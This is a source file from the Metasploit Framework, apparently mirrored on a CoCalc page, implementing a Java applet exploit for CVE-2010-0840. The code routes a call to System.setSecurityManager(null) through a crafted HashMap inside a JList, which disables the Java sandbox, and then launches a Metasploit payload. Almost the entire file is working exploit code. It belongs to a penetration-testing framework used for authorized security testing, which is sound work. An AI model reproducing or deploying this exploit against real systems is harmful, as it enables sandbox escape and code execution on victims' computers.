CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2010-0840/vuln/Exploit.java
Views: 11783
1
package vuln;
2
3
import java.applet.Applet;
4
import java.io.IOException;
5
import java.util.HashMap;
6
import java.util.HashSet;
7
import java.util.Map;
8
import java.util.Set;
9
10
import javax.swing.JList;
11
12
import metasploit.Payload;
13
14
public class Exploit extends Applet {
15
16
public void start() {
17
super.start();
18
19
try {
20
Payload.main(null);
21
} catch (Exception e) {}
22
}
23
24
public Exploit() {
25
System.out.println("Exploiting");
26
Object target = System.class;
27
String methodName = "setSecurityManager";
28
Object[] args = new Object[] { null };
29
30
Link l = new vuln.Link(target, methodName, args);
31
32
final HashSet s = new HashSet();
33
s.add(l);
34
35
Map h = new HashMap() {
36
37
public Set entrySet() {
38
return s;
39
};
40
41
};
42
43
JList list = new JList(new Object[] { h });
44
this.add(list);
45
46
}
47
}
48
49